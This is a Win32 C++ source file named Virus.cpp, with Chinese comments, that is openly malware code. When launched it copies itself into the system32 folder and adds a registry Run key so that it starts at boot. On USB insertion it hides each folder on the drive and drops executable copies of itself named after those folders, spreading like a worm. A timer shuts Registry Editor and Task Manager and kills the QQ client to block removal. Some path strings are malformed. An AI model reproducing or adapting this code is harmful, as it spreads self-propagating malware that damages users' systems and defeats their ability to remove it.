1 // Virus.cpp : 定义应用程序的入口点。 2 // 3 4 #include "stdafx.h" 5 #include "Virus.h" 6 #include <windows.h> 7 #include <Dbt.h> 8 #include <iostream> 9 #include"io.h" 10 #include "tlhelp32.h" 11 using namespace std; 12 #define MAX_LOADSTRING 100 13 14 15 16 17 void KillProcess(WCHAR* wzFilePath); 18 // 全局变量: 19 HINSTANCE hInst; // 当前实例 20 TCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本 21 TCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名 22 23 // 此代码模块中包含的函数的前向声明: 24 ATOM MyRegisterClass(HINSTANCE hInstance); 25 BOOL InitInstance(HINSTANCE, int); 26 LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); 27 INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM); 28 29 int APIENTRY _tWinMain(HINSTANCE hInstance, 30 HINSTANCE hPrevInstance, 31 LPTSTR lpCmdLine, 32 int nCmdShow) 33 { 34 WNDCLASS wndclass; 35 wndclass.cbClsExtra=0; 36 wndclass.cbWndExtra=0; 37 wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH); 38 wndclass.hCursor=LoadCursor(NULL,IDC_ICON); 39 wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK); 40 wndclass.hInstance=hInstance; 41 wndclass.lpfnWndProc=WndProc; 42 wndclass.lpszClassName=L"lieying"; 43 wndclass.lpszMenuName=NULL; 44 wndclass.style=CS_VREDRAW|CS_HREDRAW; 45 46 RegisterClass(&wndclass); //注册窗口类 47 48 HWND hwnd; 49 hwnd=CreateWindow(L"lieying",L"",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL); 50 //ShowWindow(hwnd,SW_HIDE); //隐藏窗体 51 UpdateWindow(hwnd); 52 MSG msg; 53 while(GetMessage(&msg,hwnd,0,0)) //消息循环 54 { 55 TranslateMessage(&msg); 56 DispatchMessage(&msg); 57 } 58 return (int) msg.wParam; 59 } 60 61 62 63 // 64 // 函数: MyRegisterClass() 65 // 66 // 目的: 注册窗口类。 67 // 68 // 注释: 69 // 70 // 仅当希望 71 // 此代码与添加到 Windows 95 中的“RegisterClassEx” 72 // 函数之前的 Win32 系统兼容时,才需要此函数及其用法。调用此函数十分重要, 73 // 这样应用程序就可以获得关联的 74 // “格式正确的”小图标。 75 // 76 ATOM MyRegisterClass(HINSTANCE hInstance) 77 { 78 WNDCLASSEX wcex; 79 80 wcex.cbSize = sizeof(WNDCLASSEX); 81 82 wcex.style = CS_HREDRAW | CS_VREDRAW; 83 wcex.lpfnWndProc = WndProc; 84 wcex.cbClsExtra = 0; 85 wcex.cbWndExtra = 0; 86 wcex.hInstance = hInstance; 87 wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_VIRUS)); 88 wcex.hCursor = LoadCursor(NULL, IDC_ARROW); 89 wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); 90 wcex.lpszMenuName = MAKEINTRESOURCE(IDC_VIRUS); 91 wcex.lpszClassName = szWindowClass; 92 wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); 93 94 return RegisterClassEx(&wcex); 95 } 96 97 // 98 // 函数: InitInstance(HINSTANCE, int) 99 // 100 // 目的: 保存实例句柄并创建主窗口 101 // 102 // 注释: 103 // 104 // 在此函数中,我们在全局变量中保存实例句柄并 105 // 创建和显示主程序窗口。 106 // 107 BOOL InitInstance(HINSTANCE hInstance, int nCmdShow) 108 { 109 HWND hWnd; 110 111 hInst = hInstance; // 将实例句柄存储在全局变量中 112 113 hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, 114 CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL); 115 116 if (!hWnd) 117 { 118 return FALSE; 119 } 120 121 ShowWindow(hWnd, nCmdShow); 122 UpdateWindow(hWnd); 123 124 return TRUE; 125 } 126 127 // 128 // 函数: WndProc(HWND, UINT, WPARAM, LPARAM) 129 // 130 // 目的: 处理主窗口的消息。 131 // 132 // WM_COMMAND - 处理应用程序菜单 133 // WM_PAINT - 绘制主窗口 134 // WM_DESTROY - 发送退出消息并返回 135 // 136 // 137 LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) 138 { 139 int wmId, wmEvent; 140 PAINTSTRUCT ps; 141 HDC hdc; 142 143 switch (message) 144 { 145 case WM_PAINT: 146 { 147 PAINTSTRUCT ps; 148 BeginPaint(hWnd,&ps); 149 EndPaint(hWnd,&ps); 150 break; 151 } 152 153 case WM_CLOSE: 154 { 155 DestroyWindow(hWnd); 156 break; 157 } 158 159 case WM_DESTROY: 160 { 161 PostQuitMessage(0); 162 break; 163 } 164 case WM_CREATE: //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。 165 { 166 167 SetTimer(hWnd,1,1000,NULL); //设置定时器,每秒调用一次。 168 169 //复制文件自身到系统目录 170 TCHAR ExeFullPath[MAX_PATH]; 171 GetModuleFileName(NULL,ExeFullPath,MAX_PATH); //获取exe的全路径(包括文件名) 172 173 TCHAR NewFilePath[MAX_PATH]=L"C:\WINDOWS\system32\virus.exe"; //Copy到系统目录。。。。 174 BOOL bret = CopyFile(ExeFullPath,NewFilePath,TRUE); 175 int a = GetLastError(); 176 177 //写注册表,实现开机运行。 178 HKEY hkey; 179 TCHAR keyvalue[MAX_PATH]=L"C:\WINDOWS\system32\virus.exe"; 180 TCHAR childkey[]=TEXT("Software\Microsoft\Windows\CurrentVersion\Run"); 181 182 RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey); 183 RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,wcslen(keyvalue)); 184 a = GetLastError(); 185 186 RegCloseKey(hkey); 187 188 break; 189 } 190 case WM_DEVICECHANGE: //移动存储设备插入电脑会产生WM_DEVICECHANGE消息 191 { 192 if(lParam!=0) 193 { 194 PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。 195 if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME) 196 { 197 if(wParam==DBT_DEVICEARRIVAL) //移动存储设备已经可用。 198 { 199 long i,j; 200 TCHAR buf[100]; 201 TCHAR *cdbuf; 202 j=100; 203 i=GetLogicalDriveStrings(j,buf); 204 for(j=0;j<i;j+=4) 205 { 206 cdbuf=&buf[j]; 207 if(GetDriveType(cdbuf)==DRIVE_REMOVABLE) //判断插入设备的类型是否为可移动设备 208 { 209 210 TCHAR FileName[MAX_PATH]; 211 wcscpy(FileName,cdbuf); 212 TCHAR f[MAX_PATH]=TEXT("\*."); 213 wcscat(FileName,f); 214 struct _wfinddata_t files; 215 int File_Handle; 216 int i=0; 217 File_Handle = _wfindfirst(FileName,&files); 218 if(File_Handle==-1) 219 { 220 break; 221 } 222 223 do 224 { 225 TCHAR temp[MAX_PATH]; 226 wcscpy(temp,wcscat(cdbuf,L"\")); 227 wcscat(cdbuf,files.name); 228 //目录正常显示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE); 229 SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); //给目录添加隐藏,系统属性。 230 CopyFile(L"C:\WINDOWS\system32\virus.exe",wcscat(cdbuf,L".exe"),FALSE); //将系统目录下的病毒文件,拷贝到U盘,名字为U盘子目录的名字加.exe。 231 i++; 232 wcscpy(cdbuf,temp); 233 } 234 while(0==_wfindnext(File_Handle,&files)); 235 _findclose(File_Handle); 236 //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION); 237 } 238 } 239 240 } 241 } 242 } 243 244 } 245 break; 246 247 248 249 case WM_TIMER: //处理WM_TIMER消息 250 { 251 HWND hwReg=FindWindow(L"RegEdit_RegEdit",L"注册表编辑器"); //寻找注册表 252 if(hwReg!=NULL) 253 { 254 SendMessage(hwReg,WM_CLOSE,NULL,NULL); 255 KillProcess(L"regedit.exe");//如果找到注册表,立即关闭 256 } 257 258 HWND hwTsk=FindWindow(L"#32770",L"Windows 任务管理器"); //寻找任务管理器 259 if(hwTsk!=NULL) 260 { 261 SendMessage(hwTsk,WM_CLOSE,NULL,NULL); //如果找到任务管理器,立即关闭 262 } 263 264 HWND hwQQ=FindWindow(L"TXGuiFoundation",NULL); //查找QQ 265 if(hwQQ!=NULL) 266 { 267 KillProcess(L"QQ.exe"); //杀死QQ进程,无论已经登陆QQ,还是正在登陆。。。。 268 } 269 } 270 break; 271 272 273 274 default: 275 { 276 return DefWindowProc(hWnd,message,wParam,lParam); 277 break; 278 } 279 } 280 return 0; 281 } 282 283 void KillProcess(WCHAR* wzFilePath) //关闭QQ进程 284 { 285 // TODO: Add your control notification handler code here 286 // PROCESSENTRY32结构对象 287 PROCESSENTRY32 pe; 288 // 创建快照句柄 289 pe.dwSize = sizeof(PROCESSENTRY32); 290 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 291 292 293 // 先搜索系统中第一个进程的信息 294 Process32First(hSnapshot, &pe); 295 296 TCHAR szFile[MAX_PATH]; 297 int p; 298 299 300 // 下面对系统中的所有进程进行枚举, 301 do{ 302 lstrcpy(szFile, pe.szExeFile); 303 p = lstrcmp(szFile, wzFilePath); 304 if(0 == p) //if(strlen(pe.szExeFile)>0)判断关闭系统进程外的所以进程 305 { 306 HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID); 307 308 309 //先取得他 310 if(h) 311 TerminateProcess(h, 0); //关闭 312 //break; 313 } 314 }while(Process32Next(hSnapshot, &pe)); 315 316 317 // 关闭快照句柄 318 CloseHandle(hSnapshot); 319 } 320 // “关于”框的消息处理程序。 321 INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) 322 { 323 UNREFERENCED_PARAMETER(lParam); 324 switch (message) 325 { 326 case WM_INITDIALOG: 327 return (INT_PTR)TRUE; 328 329 case WM_COMMAND: 330 if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) 331 { 332 EndDialog(hDlg, LOWORD(wParam)); 333 return (INT_PTR)TRUE; 334 } 335 break; 336 } 337 return (INT_PTR)FALSE; 338 }